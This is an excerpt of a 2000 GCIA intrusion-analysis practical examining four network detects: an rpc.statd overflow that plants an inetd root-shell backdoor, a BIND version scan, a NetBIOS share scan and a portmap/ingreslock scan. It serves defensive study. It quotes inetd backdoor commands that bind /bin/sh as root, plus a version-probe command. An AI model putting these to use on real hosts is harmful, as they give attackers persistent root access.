Global Information Assurance Certification Paper

GCIA Practical Assignments
Leigh David Heyman
August 9, 2000

Assignment 1, network detects:

Detect One:

```
07:01:51.141438 158.135.16.113.657 > foo.bar.edu.111: udp 56
07:01:51.141918 foo.bar.edu.111 > 158.135.16.113.657: udp 28
07:01:55.217308 158.135.16.113.658 > foo.bar.edu.1011: udp 1076
07:02:02.230468 158.135.16.113.1517 > foo.bar.edu.39168: S 843433918:843433918(0)
win 32120  (DF)
07:02:02.230706 foo.bar.edu.39168 > 158.135.16.113.1517: S 4178397570:4178397570(0
) ack 843433919 win 32120  (DF)
07:02:02.288170 158.135.16.113.1517 > foo.bar.edu.39168: . ack 1 win 32120  (DF)
07:02:02.288183 158.135.16.113.1517 > foo.bar.edu.39168: P 1:72(71) ack  1 win 3212
0  (DF) **
07:02:02.288496 foo.bar.edu.39168 > 158.135.16.113.1517: . ack 72 win 32120  (DF)
07:02:03.290337 158.135.16.113.1517 > foo.bar.edu.39168: P 72:100(28)  ack 1 win 32
120  (DF) ***
07:02:03.290496 158.135.16.113.1517 > foo.bar.edu.39168: F 100:100(0) ack 1 win 32
120  (DF)
07:02:03.290698 foo.bar.edu.39168 > 158.135.16.113.1517: . ack 101 win 32120  (DF)
```

Unfortunately, the snaplen is too small to have gotten much useful from the overflow packet itself (the 1076 byte UDP packet above), but here is the payload of the bolded packets (using ethereal) and the backdoor is quite clear:

```
            HEX                                          ASCII
** Data (30 bytes)
   0  6563 686f 2027 736d 7578 2073 7472 6561   echo 'smux strea
  10  6d20 7463 7020 6e6f 7761 6974 2072        m tcp nowait r


*** Data (28 bytes)
   0  2f75 7372 2f62 696e 2f6b 696c 6c61 6c6c   /usr/bin/killall
  10  202d 4855 5020 696e 6574 640a             -HUP inetd.
```

<see assignment 2 for trace of this captured in the lab>

Source: This trace was detected on our local network. We maintain a Class B (/16) netblock, of which anywhere from eight to fifteen /24 subnets are in use on our switched LAN at any given time.

Detect Generated By: Shadow Release 1.6 using the basic filters included in the distribution, with some tuning for our local environment, currently listening on only one /24 (class C) subnet.

Shadow's output is in tcpdump format, which varies depending on the protocol but has the general form as follows:

timestamp(hh:mm:ss:ssssss) source.ip[.source_port] > destination.ip[.dest_port] <protocol dependent information> [IP fragmentation information]

For example, tcp output commonly has the form:

timestamp source.ip.source_port > destination.ip.dest_port FLAGS sequence#:acknowledge#(data bytes) ack_flag ack# window_size <tcp options>

Two packets have been analyzed with Ethereal, and the contents of the data portion (payload) are shown. On the left is the payload of the packet (with all four layers of

the header stripped off) in hexadecimal format, and on the right, are the same data in ascii output.

Probability of spoofed source address: None. The active TCP of the second part of this attack, and the information it carries makes the likelihood of spoofing nearly impossible.

Description of Attack: This is an automated buffer overflow of the rpc.statd daemon. This is still a candidate for a CVE number. CVE lists this attack as **CAN-2000-0666**. It is an automated sweep of an entire /16 (class B) network. It exploits a recent vulnerability in rpc.statd, and then creates a back door by opening a root shell listening on tcp port 199.

Attack Mechanism: The attacker sends a UDP packet the victim's port 111 (usually portmap) with the GETPORT rpc command, asking the portmapper which port the rpc.statd (status) program is listening on. If the victim is running portmap on UDP port 111 and is also running the rpc.statd daemon, it answers the request with a UDP packet back to the attacker listing the rpc.statd port. The attacker then sends a UDP packet with the buffer overflow to the port it was told by the victim, in this case UDP port 1011. This is seen in the 1076 byte UDP packet above. Once the buffer has been overflowed the exploit code apparently sets up a listening on TCP port 39168. After several seconds, the attacker then opens a TCP connection to port 39168. It issues two commands, the first inserts a line in to the victims /etc/inetd.conf file, the file which manages the programs run by the system's inet daemon, to set up a shell listening on whatever TCP port the system uses for the smux service (usually 199) as a backdoor. We can see the first part of this command in the ascii output of the first packet decoded by Ethereal above. The second command restarts the inet daemon so that the backdoor takes effect, the full command is seen in the ascii data of the second Ethereal decoded packet above. The attacker then closes the the TCP connection to port 39168 and moves on to start the process over again with the next victim. The attacker is now free to return to this system by connecting to port 199.

Correlations:

This appears to be a new detect. I was unable to find correlating network data. Exploit and vulnerability correlations:

The rpc.statd vulnerability was posted by Red Hat on July 17, 2000 and updated on July 21, 2000. However, the advisory states that as of July 21, 2000, "there is no known exploit for the flaw in rpc.statd." See
http://www.redhat.com/support/errata/RHSA-2000-043-03.html

Exploit code was first posted to Bugtraq on August 1, 2000, see
http://archives.neohapsis.com/archives/bugtraq/2000-07/0449.html
And again on August 4, 2000, see
http://archives.neohapsis.com/archives/bugtraq/2000-08/0013.html
It is probably this second program, integrated in to a script and slightly modified to add the backdoor, which was used in this attack.

Evidence of active targeting: No specific targeting, as indicated by the network wide sweep of the attack. The only type of targeting to consider is that this is a well known academic environment, and as such, one might expect to find linux systems running NFS prevalent.

Severity:

Criticality: 3, Mostly workstations, some project related servers
Lethality: 5, buffer overflowed, backdoor installed, successful attack.
System Countermeasures: 0, latest patches were not installed.
Network Countermeasures: 0, none.
(3 + 5) - (0 - 0) = **8!**

Defensive Recommendations: Install latest security related patches and fixes. Install more secure rpc programs on all systems. Filter traffic to ports 199 and 39168, and add these ports the SHADOW filters.

Ideally, given their inherent insecurity, one would disable rpc services on all but the systems which required them, and more importantly block all rpc related traffic (connections to portmap at least) at the border. However, given the nature of this academic environment, that is not a feasible solution for the time being.

Multiple choice question:

a) rpc.statd buffer overflow
b) Denial of Service against portmapper
c) UDP port scan
d) none of the above

(answer: a)

Detect Two:

A)

00:06:07.082022 200.241.187.2.4071 > a.b.c.210.53: S 1433022427:1433022427(0) win 32120 <mss 1460,sackOK,timestamp 5689806 0,nop,wscale 0> (DF)
00:06:07.086982 200.241.187.2.4072 > a.b.c.211.53: S 1428334088:1428334088(0) win 32120 <mss 1460,sackOK,timestamp 5689806 0,nop,wscale 0> (DF)
00:06:07.102684 a.b.c.202.53 > 200.241.187.2.4063: R 0:17(17) ack 1430593253 win 0 (DF)
00:06:07.121279 a.b.c.210.53 > 200.241.187.2.4071: S 1089158103:1089158103(0) ack 143302 2428 win 14600 <mss 1460,sackOK,timestamp 348021129 5689806,nop,wscale 0> (DF)
00:06:07.143740 a.b.c.211.53 > 200.241.187.2.4072: R 0:0(0) ack 1428334089 win 0
00:06:07.603177 200.241.187.2.4062 > a.b.c.201.53: S 1433365104:1433365104(0) win 32120 <mss 1460,sackOK,timestamp 5689806 0,nop,wscale 0> (DF)
00:06:07.613847 200.241.187.2.4065 > a.b.c.204.53: S 1424176897:1424176897(0) win 32120 <mss 1460,sackOK,timestamp 5689806 0,nop,wscale 0> (DF)
00:06:07.666083 a.b.c.201.53 > 200.241.187.2.4062: R 0:11(11) ack 1433365105 win 0 (DF)
00:06:07.679041 a.b.c.204.53 > 200.241.187.2.4065: S 1996167168:1996167168(0) ack 142417 6898 win 17520 <mss 1460> (DF)
00:06:08.552437 200.241.187.2.4071 > a.b.c.210.53: . ack 1 win 32120 <nop,nop,timestamp 5689952 348021129> (DF)
00:06:08.975261 200.241.187.2.2942 > a.b.c.40.53: S 1430548238:1430548238(0) win 32120 < mss 1460,sackOK,timestamp 5690011 0,nop,wscale 0> (DF)
00:06:08.975452 a.b.c.40.53 > 200.241.187.2.2942: R 0:0(0) ack 1430548239 win 0
00:06:09.077758 200.241.187.2.3211 > a.b.c.126.53: S 1438559742:1438559742(0) win 32120 <mss 1460,sackOK,timestamp 5690014 0,nop,wscale 0> (DF)
00:06:09.078077 a.b.c.126.53 > 200.241.187.2.3211: R 0:0(0) ack 1438559743 win 0
00:06:09.540567 200.241.187.2.4065 > a.b.c.204.53: . ack 1 win 32120 (DF)
00:06:09.670267 200.241.187.2.1148 > a.b.c.210.53: 6+ TXT CHAOS)? version.bind. (30)

00:06:09.722602 a.b.c.210.53 > 200.241.187.2.1148: 6* 1/0/0 CHAOS) TXT (69)
00:06:10.684653 200.241.187.2.1149 > a.b.c.204.53: 6+ TXT CHAOS)? version.bind. (30)
00:06:11.041222 a.b.c.204.53 > 200.241.187.2.1149: 6* 1/0/0 CHAOS) TXT (63) (DF)
00:06:11.357357 200.241.187.2.4071 > a.b.c.210.53: F 1:1(0) ack 1 win 32120 <nop,nop,tim
estamp 5690215 348021129> (DF)
00:06:11.395827 a.b.c.210.53 > 200.241.187.2.4071: . ack 2 win 14600 <nop,nop,timestamp
348021557 5690215> (DF)
00:06:11.401031 a.b.c.210.53 > 200.241.187.2.4071: F 1:1(0) ack 2 win 15928 <nop,nop,tim
estamp 348021557 5690215> (DF)
00:06:12.795841 200.241.187.2.4071 > a.b.c.210.53: . ack 2 win 32120 <nop,nop,timestamp
5690379 348021557> (DF)

B)
Jul 25 00:06:02 host.on different.subnet portsentry[830]: attackalert: SYN/Normal scan from host: 200.241.187.2/200.241.187.2 to TCP port: 53

Source: This trace was detected on our local network. We maintain a Class B (/16) netblock, of which anywhere from eight to fifteen /24 subnets are in use on our switched LAN at any given time.

Detect Generated By: A) Shadow Release 1.6 using the basic filters included in the distribution, with some tuning for our local environment, currently listening on only one /24 (class C) subnet.
Shadow's output is in tcpdump format, which varies depending on the protocol but has the general form as follows:
timestamp(hh:mm:ss:ssssss) source.ip[.source_port] > destination.ip[.dest_port] <protocol dependent information> [IP fragmentation information]
For example, tcp output commonly has the form:
timestamp source.ip.source_port > destination.ip.dest_port FLAGS sequence#:acknowledge#(data bytes) ack_flag ack# window_size <tcp options>

B) System log from system running host based IDS, output is as follows:
Date/Timestamp (Mon day hh:mm:ss) hostname application[process ID]: application data
In this case the application is portsentry whose output is:
attackalert: <Scan-Type> from host: <source.ip> to <Protocol> port: <Destination Port>
This trace indicates that "host.on.different.subnet" received a SYN packet from 200.241.187.2 to TCP port 53 .
I have included this trace simply to show the breadth of this scan.

Probability of spoofed source address: None. The immediate "version.bind" query two seconds after the positive TCP response (SYN/ACK) clearly indicates a valid and active source for this scan.

Description of Attack: This was a scan of an entire /16 network searching for vulnerable versions of the Berkeley Internet Nameservice Daemon (BIND). Although inefficient, this attack has more sophistication that a normal nmap or queso(?) tcp scans which are generally single-purpose information gatherers (find the open ports, report, move on). Instead, this attack has integrated a second level of

reconnaissance into the scan, indicated by immediately issuing a query for the version of BIND to the hosts that respond.
It is no small leap to imagine the integration of a third phase, that of an active exploit should the server respond with a known vulnerable BIND version . It is even possible that this third phase was indeed a component of this tool, though there is no way to know since this scan did not turn up any vulnerable name servers.

The confounding question though, is why use TCP for the initial scan if the second phase is going to use UDP? An initial UDP scan might not only yield more results (if a network's border filtered TCP 53, but not UDP 53), but would certainly be easier to hide amongst the common UDP port 53 traffic of normal DNS lookups. (My own speculation, continuing the theme of efficiency, if common bind exploits require TCP 53 then it would be pointless to discover a vulnerable version of bind if the site blocked TCP 53 to the host, thus, using TCP for the initial scan further tailors the results to the needs of the attacker.)

Attack Mechanism: This attack sends a lone tcp SYN packet to tcp port 53 (DNS) on every IP address in our network. While most of the systems should respond with a RST packet indicating that no service was running on tcp port 53, a host running a DNS server (or another service bound to tcp port 53) would respond to the SYN packet with a SYN/ACK to initiate the second half of the handshake. The attacking host immediately issues a query for the version of BIND (probably using the command `dig @nameserver chaos txt version.bind`)to each of the hosts that issued a SYN/ACK to the attacker's SYN . If the nameserver runs BIND, and allows chaos. txt type queries, then it will respond with the running version of the software.

Correlations:

http://www.sans.org/y2k/080900.htm The shell script submitted by Vitaly McLain, discovered on a compromised system, would generate the major components of this trace, the port 53 scan followed by a bind.version query to positive hits (although without the actual pscan program, it is impossible to be certain if this script would cause the TCP port 53 footprint shown).

CVE Correlations: There are a host of DNS/BIND buffer overflow and Denial of Service related CVE numbers, including: CVE-1999-0009: Inverse query buffer overflow in BIND 4.9 and BIND 8 Releases. CVE-1999-0833: Buffer overflow in BIND 8.2 via NXT records. CVE-1999-0835: Denial of service in BIND named via malformed SIG records. CVE-1999-0848: Denial of service in BIND named via consuming more than "fdmax" file descriptors.

Evidence of Active Targeting: None per se, as indicated by the incremental IP addresses. It could vaguely be considered active in that this is a well known, academic network. As such it would not be unusual to turn up poorly- , or un-maintained systems in the dusty corners of such networks-- particularly given the proliferation of Linux systems operated by inexperienced users in these types of

environments, and the practice, until recently, for distributions to have certain insecure services turned on by default. However, this type "active targeting" is a bit like going fishing without bait.

Severity:

Criticality: 5, Although the nameserver shown in the trace is maintained by a user for his home subnet, and personal namespace and is not of the servers used to maintain our namespace, DNS servers are always critical.
Lethality: 2, Although the scan did not reveal any currently vulnerable name servers, it did yield valuable reconnaissance.
System Countermeasures: 4, Current, patched operating systems on all known nameservers. Current, patched versions of BIND running on all known nameservers. The production nameservers are configured to refuse remote version queries and zone transfers, however, the student operated server from the detect is configured to allow these queries.
Network Countermeasures: 1, No filtering at the border, it is however a switched network, and the segment on which this user's network runs is limited by Quality of Service(QoS) filters.
(5+2)-(4+1)= 2

Defensive Recommendations: Filter at the border to block inbound DNS traffic to all but the specified nameservers. Configure those specified nameservers to deny "chaos" and "axfr"" (zone transfer) class queries from unauthorized hosts. The chaos class is obsolete. and zone transfers should only occur between primary and secondary nameservers for your domain.
A note on TCP 53: Filtering inbound tcp port 53 could also be a remedy, although without a stateful filtering device, it would be difficult to maintain compliance with the DNS RFCs. The filter would need to detect a truncated query response, and then allow tcp dns query from the affected system. However, one could probably block TCP 53 anyway. From RFC 2181:

> The TC bit should be set in responses only when an RRSet is required as a part of the response, but could not be included in its entirety. The TC bit should not be set merely because some extra information could have been included, but there was insufficient room. This includes the results of additional section processing. In such cases the entire RRSet that will not fit in the response should be omitted, and the reply sent as is, with the TC bit clear. If the recipient of the reply needs the omitted data, it can construct a query for that data and send that separately.

In other words truncated queries could probably be safely ignored. as truncated DNS query responses are only valid in the unique condition described above, and thus can be expected to either be rare, or non-RFC compliant.

Multiple choice question:

a) Attempted zone transfer

b) Scan for vulnerable nameservers
c) DNS Buffer overflow
d) Netbios namserver scan
(answer: b)

Detect Three:

```
05:15:49.928339 216.254.51.220.137 > my.sub.net.15.137: udp 50*
05:15:49.929095 my.sub.net.15.137 > 216.254.51.220.137: udp 247
05:15:50.085162 216.254.51.220.3816 > my.sub.net.15.139: S 320583337:320583337(0) win 8192 <mss
1460,nop,nop,sackOK> (DF)
05:15:50.085493 my.sub.net.15.139 > 216.254.51.220.3816: S 316758:316758(0) ack 320583338 win 8760 <mss 1460>
(DF)
05:15:50.229023 216.254.51.220.3816 > my.sub.net.15.139: . ack 1 win 8760 (DF)
05:15:50.230375 216.254.51.220.3816 > my.sub.net.15.139: P 1:73(72) ack 1 win 8760 (DF)**
05:15:50.230788 my.sub.net.15.139 > 216.254.51.220.3816: P 1:5(4) ack 73 win 8688 (DF)
05:15:50.381261 216.254.51.220.3816 > my.sub.net.15.139: P 73:231(158) ack 5 win 8756 (DF)
05:15:50.381901 my.sub.net.15.139 > 216.254.51.220.3816: P 5:108(103) ack 231 win 8530 (DF)
05:15:50.544416 216.254.51.220.3816 > my.sub.net.15.139: P 231:388(157) ack 108 win 8653 (DF)
05:15:50.714174 my.sub.net.15.139 > 216.254.51.220.3816: . ack 388 win 8373 (DF)
05:15:53.589455 my.sub.net.15.139 > 216.254.51.220.3816: P 108:147(39) ack 388 win 8373 (DF)***
05:15:53.920966 216.254.51.220.3816 > my.sub.net.15.139: . ack 147 win 8614 (DF)
05:15:54.463046 216.254.51.220.3816 > my.sub.net.15.139: F 388:388(0) ack 147 win 8614 (DF)
05:15:54.463360 my.sub.net.15.139 > 216.254.51.220.3816: F 147:147(0) ack 389 win 8373 (DF)
05:15:54.616721 216.254.51.220.3816 > my.sub.net.15.139: . ack 148 win 8614 (DF)
05:17:03.282689 216.254.51.220.137 > my.sub.net.22.137: udp 50
05:17:03.283227 my.sub.net.22 > 216.254.51.220: icmp: my.sub.net.22 udp port 137 unreachable (DF)
05:17:05.104239 216.254.51.220.137 > my.sub.net.22.137: udp 50
05:17:05.104726 my.sub.net.22 > 216.254.51.220: icmp: my.sub.net.22 udp port 137 unreachable (DF)
05:17:06.607432 216.254.51.220.137 > my.sub.net.22.137: udp 50
05:17:06.607791 my.sub.net.22 > 216.254.51.220: icmp: my.sub.net.22 udp port 137 unreachable (DF)
05:17:14.153575 216.254.51.220.137 > my.sub.net.23.137: udp 50
05:17:14.153858 my.sub.net.23 > 216.254.51.220: icmp: my.sub.net.23 udp port 137 unreachable

          ( highlighted packets dumped with  tcpdump -x )
*05:15:49.928339 216.254.51.220.137 > my.sub.net.15.137: udp 50
                4500 004e 1450 0000 6e11 7531 d8fe 33dc
                xxxx xxxx 0089 0089 003a ee58 0ea8 0010
                0001 0000 0000 0000 2043 4b41 4141 4141
                4141 4141 4141 4141 4141 4141 4141 4141
                4141 4141 4141 4141 4100 0021 0001

**05:15:50.230375 216.254.51.220.3816 > my.sub.net.15.139: P 1:73(72) ack 1 win 8760 (DF)
                4500 0070 1750 4000 6e06 321a d8fe 33dc
                xxxx xxxx  0ee8 008b 131b b6aa 0004 d557
                5018 2238 acc6 0000 8100 0044 2045 4945
                5045 5046 4745 4646 4343 4143 4143 4143
                4143 4143 4143 4143 4143 4143 4100 2045
                4245

***05:15:53.589447 my.sub.net.15.139 > 216.254.51.220.3816: P 108:147(39) ack 388 win 8373 (DF)
                4500 004f 852d 4000 8006 b25d 8034 360f
                xxxx xxxx 008b 0ee8 0004 d5c2 131b b82d
                5018 20b5 7d90 0000 0000 0023 ff53 4d42
                7301 0005 0090 0000 0000 0000 0000 0000
                0000 0000 0000 db13 0100 015c 0000 00
```

Source: This trace was detected on our local network. We maintain a Class B (/16) netblock, of which anywhere from eight to fifteen /24 subnets are in use on our switched LAN at any given time.

Detect Generated By: Shadow Release 1.6 using the basic filters included in the distribution, with some tuning for our local environment, currently listening on only one /24 (class C) subnet.

Shadow's output is in tcpdump format, which varies depending on the protocol but has the general form as follows:
timestamp(hh:mm:ss:ssssss) source.ip[.source_port] > destination.ip[.dest_port] <protocol dependent information> [IP fragmentation information]
For example, tcp output commonly has the form:
timestamp source.ip.source_port > destination.ip.dest_port FLAGS sequence#:acknowledge#(data bytes) ack_flag ack# window_size <tcp options>
Packets dumped with tcpdump –x have the same header decode information, with the entire captured packet printed in hexadecimal below the header information.

Probability of spoofed source address: The probability of spoofing for this attack is very low due to the immediate initiation of the secondary response to the positive output of the initial query. Had this attack been spoofed, if there were a live host with the spoofed address, then it would probably just drop the unsolicited UDP response from my.sub.net.15, or if the spoofed IP was non-existent, then we might see nothing, or possibly "ICMP host unreachable." In either case, we would not expect a TCP connection to be initiated.

Description of Attack: This is an "NBSTAT" NetBios attack. It begins by scanning an entire /24 (class C) network, with a UDP query to port 137. Any Windows systems with file-sharing turned on, or Unix systems running Samba will respond to the query. Using a wildcard character, "*" the attacker attempts to reveal the victim's open SMB shares. If they allow the wildcard as a valid query, the victim will respond with the name of all available shares on that system. Lastly, the attacker attempts to mount an unprotected share.

This pattern has been associated with the network.vbs or "netlog" worm and variants, which propagate by writing themselves on to a vulnerable share on a remote system, in a manner such that the scan/mount/propagate process is re-initiated on the remote system after a reboot or user logon. See "Analysis of network.vbs worm" by Abe Singer (http://security.sdsc.edu/publications/network.vbs.shtml) for further analysis.

Attack Mechanism: This attack sends an initial UDP query to port 137 on every host on a /24 network sequentially from 1 through 254. The name of the query is the wildcard character "*" this is the 4b41 4141... sequence we see in the hex output from the first selected packet above. (The 4b41 4141 41... or CKAAA... in ascii is a result of the method by which the NetBios protocol encodes the query string. For a more informed and thorough explanation about this encoding method, see Judy Novak's analysis at http://www.sans.org/y2k/061500.htm). If the netbios nameserver allows "*" as a valid query, it sends a UDP response listing all the SMB shares available from that server. Upon receiving a positive response to the "*" query, the attacker opens a TCP session to the netbios session service on port 139. The second highlighted packet above, shows the session request (as indicated by the highlighted 81. Per RFC 1002, byte 0 of the session service header indicates type, hex 81 is the session request type). Once the netbios session has been established, the attacker attempts to mount a filesystem shared by the victim, using SMB, presumably for the purpose of writing data to that filesystem. In this case, however, the attempt to mount

the filesystem was unsuccessful, as indicated by the highlighted 0050 in the third selected packet above (bytes 11 and 12 of the NetBios session packet are the error code byte for the encapsulated SMB message, in this case, hex 0500 is the code for "Access Denied" see http://www.protocols.com/pbook/ibm.htm#SMB)

Correlations:
http://www.sans.org/y2k/honeypot_catch.htm
http://www.cert.org/incident_notes/IN-2000-02.html
http://www.sans.org/y2k/practical/Bryce_Alexander.doc detect #1
also, Judy Novak's posting at http://www.sans.org/y2k/061500.htm discusses the wildcard name query specifically.

Evidence of Active Targeting: Extremely low. According to the correlations, if this attack was indeed the result of a worm or virus, then the probability is high that the network address was randomly generated (from "Analysis of network.vbs worm" by Abe Singer (http://security.sdsc.edu/publications/network.vbs.shtml)) .

Severity:
Criticality: 1, there are no Windows servers on this subnet, only workstations.
Lethality: 1, although the systems accepted the * wildcard queries, there were no unprotected shares.
System Countermeasures: 3, Current OS, at or near current patch levels, some security.
Network Countermeasures: 0
(1+1)-(3+0) = -1

Defensive Recommendations: CERT recommends the following action in the incident note listed above:

1. Disable Windows networking shares in the Windows network control panel if the ability to share files is not needed. Or, you may choose to entirely disable NETBIOS over TCP/IP in the network control panel.
2. When configuring a Windows share, require a password to connect to the share. The use of sound password practices is encouraged. It is also important to consider trust relationships between systems. Malicious code may be able to leverage situations where a vulnerable system is trusted by and already authenticated to a remote system.
3. Restrict exported directories and files to the minimum required for an application. In other words, rather than exporting an entire disk, export only the directory or file needed. Export read-only where possible.
4. If your security policy is such that Windows networking is not used between systems on your network and systems outside of your network, packet filtering can be used at network borders to prevent NETBIOS packets from entering and/or leaving a network. Alternatively, use packet filtering to allow NETBIOS packets only between those sites with whom you want to do file sharing.

Items 1, 2 and 3, are for the most part already currently in place on this network. However, "currently" is the crux of the previous sentence, as items 1-3, particularly 2 and 3, are more a matter of user education than system management, and therefore require persistence and diligence. Unfortunately, item number 4, is unrealistic in many educational environments, including this one. Although, it will no doubt take only a few severe incidents, before the policy overseers (professors and researchers generally) have changes of heart.

Multiple Choice Question:

What to the ICMP Port Unreachable Messages indicate?

a) coordinated network mapping attempt

b) netbios namserver buffer overflow

c) target system has no available service on UDP port 137

d) target system has no available service on TCP port 137

(answer: c)

Detect Four:

```
13:05:54.486304 63.211.46.199.2666 > xxx.xxx.xxx.17.111: S 1134976911:1134976911(0) win 0
13:05:54.487166 63.211.46.199.2666 > xxx.xxx.xxx.30.111: S 445799181:445799181(0) win 0
13:05:54.488457 63.211.46.199.2666 > xxx.xxx.xxx.49.111: S 707805700:707805700(0) win 0
13:05:54.490631 63.211.46.199.2666 > xxx.xxx.xxx.89.111: S 860954597:860954597(0) win 0
13:05:54.492360 63.211.46.199.2666 > xxx.xxx.xxx.107.111: S 1848098161:1848098161(0) win 0
13:05:54.492796 63.211.46.199.2666 > xxx.xxx.xxx.110.111: S 873350786:873350786(0) win 0
13:05:54.493228 63.211.46.199.2666 > xxx.xxx.xxx.118.111: S 153079999:153079999(0) win 0
13:05:54.494145 63.211.46.199.2666 > xxx.xxx.xxx.131.111: S 668510141:668510141(0) win 0
          *          *          *
13:08:48.430812 63.211.46.199.607 > xxx.xxx.xxx.107.111: S 1564313447:1564313447(0) win 32120 <mss
1380,sackOK,timestamp 59613176 0,nop,wscale 0> (DF)
13:08:48.637051 63.211.46.199.609 > xxx.xxx.xxx.110.111: S 1588014463:1588014463(0) win 32120 <mss
1380,sackOK,timestamp 59613196 0,nop,wscale 0> (DF)
13:08:48.964820 63.211.46.199.611 > xxx.xxx.xxx.131.111: S 4072467099:4072467099(0) win 32120 <mss
1380,sackOK,timestamp 59613229 0,nop,wscale 0> (DF)
13:08:49.087024 63.211.46.199.613 > xxx.xxx.xxx.30.111: S 577291796:577291796(0) win 32120 <mss
1380,sackOK,timestamp 59613241 0,nop,wscale 0> (DF)*
13:08:49.178181 63.211.46.199.615 > xxx.xxx.xxx.49.111: S 3821645579:3821645579(0) win 32120 <mss
1380,sackOK,timestamp 59613250 0,nop,wscale 0> (DF)
          *          *          *
13:09:03.311829 63.211.46.199.2666 > xxx.xxx.xxx.30.1524: S 1739328559:1739328559(0) win 0
13:09:03.312169 63.211.46.199.2666 > xxx.xxx.xxx.49.1524: S 1495671899:1495671899(0) win 0
13:09:03.314684 63.211.46.199.2666 > xxx.xxx.xxx.44.1524: S 151615246:151615246(0) win 0
13:09:03.317113 63.211.46.199.2666 > xxx.xxx.xxx.118.1524: S 2089274072:2089274072(0) win 0
13:09:03.328503 63.211.46.199.2666 > xxx.xxx.xxx.17.1524: S 59175532:59175532(0) win 0
13:09:03.329372 63.211.46.199.2666 > xxx.xxx.xxx.23.1524: S 1340180914:1340180914(0) win 0
13:09:03.329808 63.211.46.199.2666 > xxx.xxx.xxx.33.1524: S 1716892008:1716892008(0) win 0
13:09:03.330245 63.211.46.199.2666 > xxx.xxx.xxx.38.1524: S 1207855277:1207855277(0) win 0
13:09:03.331565 63.211.46.199.2666 > xxx.xxx.xxx.70.1524: S 1833407303:1833407303(0) win 0
13:09:03.340598 63.211.46.199.2666 > xxx.xxx.xxx.204.1524: S 652943432:652943432(0) win 0
```

*Full TCP session of highlighted connection above

```
13:08:49.087024 63.211.46.199.613 > xxx.xxx.xxx.30.111: S 577291796:577291796(0) win 32120 <mss
1380,sackOK,timestamp 59613241 0,nop,wscale 0> (DF)
13:08:49.087369 xxx.xxx.xxx.30.111 > 63.211.46.199.613: S 3132088430:3132088430(0) ack 577291797 win 9576
<nop,nop,timestamp 388315790 59613241,nop,wscale 0,mss 1380> (DF)
13:08:49.115947 63.211.46.199.613 > xxx.xxx.xxx.30.111: . ack 1 win 32120 <nop,nop,timestamp 59613244 388315790>
(DF)
13:08:49.116626 63.211.46.199.613 > xxx.xxx.xxx.30.111: P 1:45(44) ack 1 win 32120 <nop,nop,timestamp 59613244
388315790> (DF)
```

```
13:08:49.116766 xxx.xxx.xxx.30.111 > 63.211.46.199.613: . ack 45 win 9532 <nop,nop,timestamp 388315793 59613244>
(DF)
13:08:49.118416 xxx.xxx.xxx.30.111 > 63.211.46.199.613: P 1:513(512) ack 45 win 9576 <nop,nop,timestamp
388315793 59613244> (DF)
13:08:49.147589 63.211.46.199.613 > xxx.xxx.xxx.30.111: . ack 513 win 31608 <nop,nop,timestamp 59613247
388315793> (DF)
13:08:49.155301 63.211.46.199.613 > xxx.xxx.xxx.30.111: F 45:45(0) ack 513 win 32120 <nop,nop,timestamp 59613248
388315793> (DF)
13:08:49.155380 xxx.xxx.xxx.30.111 > 63.211.46.199.613: . ack 46 win 9576 <nop,nop,timestamp 388315796 59613248>
(DF)
13:08:49.155652 xxx.xxx.xxx.30.111 > 63.211.46.199.613: F 513:513(0) ack 46 win 9576 <nop,nop,timestamp
388315796 59613248> (DF)
13:08:49.188560 63.211.46.199.613 > xxx.xxx.xxx.30.111: . ack 514 win 32120 <nop,nop,timestamp 59613251
388315796> (DF)
```

Source: This trace was detected on our local network. We maintain a Class B (/16) netblock, of which anywhere from eight to fifteen /24 subnets are in use on our switched LAN at any given time.

Detect Generated By: Shadow Release 1.6 using the basic filters included in the distribution, with some tuning for our local environment, currently listening on only one /24 (class C) subnet.
Shadow's output is in tcpdump format, which varies depending on the protocol but has the general form as follows:
timestamp(hh:mm:ss:ssssss) source.ip[.source_port] > destination.ip[.dest_port] <protocol dependent information> [IP fragmentation information]
For example, tcp output commonly has the form:
timestamp source.ip.source_port > destination.ip.dest_port FLAGS sequence#:acknowledge#(data bytes) ack_flag ack# window_size <tcp options>

Probability of spoofed source address: None, the full tcp connections from the second part of the attack indicate that the attack came from a valid source.

Description of Attack: This was a reconnaissance scan looking for systems running portmap, the rpc services run by the systems running portmap, and a scan for previously compromised systems. The first and third parts of the scan were, SYN, or "half-open" scans.
CERT Incident Note IN-99-04 (http://www.cert.org/incident_notes/IN-99-04.html) points out that a common back door is often installed after an exploit of one of the RPC services mentioned in the associated advisories (http://www.cert.org/advisories/CA-99-08-cmsd.html, http://www.cert.org/advisories/CA-99-05-statd-automountd.html, http://www.cert.org/advisories/CA-98.11.tooltalk.html) when automated tools are used to execute the exploits.

Attack Mechanism: This attack sends lone tcp SYN packets with a forged source port to port 111 to several machines on one segment of a switched network, to determine if those hosts are running portmap. Hosts running portmap on it's normal port, will respond with a tcp SYN/ACK packet to the {forged} source port of the attacker's initial SYN. The attacker sends a {presumably non-forged} RST packet to the victim

and moves on to the next host. This is shown by the first group of packets above. (Thus the "half-open" technique: the attacker initiates a valid connection, which only gets halfway complete before being torn down by the attacker's RST in response to the victim's SYN/ACK)
A few moments later, after the initial scan has been completed, the attacker then re-connects to each of the systems that issued positive responses to the first scan, this time with a valid source port, and establishes a TCP connection to the portmapper on the host. The attacker sends a "dump" command to the host's portmapper, receives a listing of the rpc services running on the host and then disconnects. This is shown in the second group of packets above and the expanded TCP session of the highlighted connection.
Lastly, another SYN (half-open) scan is launched, to port 1524 on all the hosts on the segment, again with the same forged source port of the initial scan. Any hosts running ingreslock on it's normal port, or more likely, any hosts which have had a back-door installed on ingreslock's normal tcp port (port 1524) will respond with a SYN/ACK packet, hosts which are not running any services on tcp port 1524 send a RST packet.
(NOTE: I had initially assumed that these traces were a recon. probe followed by attack/backdoor install, then follow-up to find which hosts fell to the attack. However, analyzing the second set of traces with Ethereal, showed that the only packets carrying a payload from the attacker to the victim were merely dump() calls to the portmapper, The only packets which could have contained exploit code were way too short (40 byte rpc segment) to contain exploit code AND the commands to install the backdoor ("/bin/sh -c echo 'ingreslock stream tcp wait root /bin/sh -i' >> /tmp/bob;/usr/sbin/inetd -s /tmp/bob" is way over 40 bytes). Moreover, there was no relation between the hosts scanned for port 1524 and the hosts on which the portmap connections were made. In short, while the method of the attack is clear to me, it's purpose is a little mystifying).

Correlations:

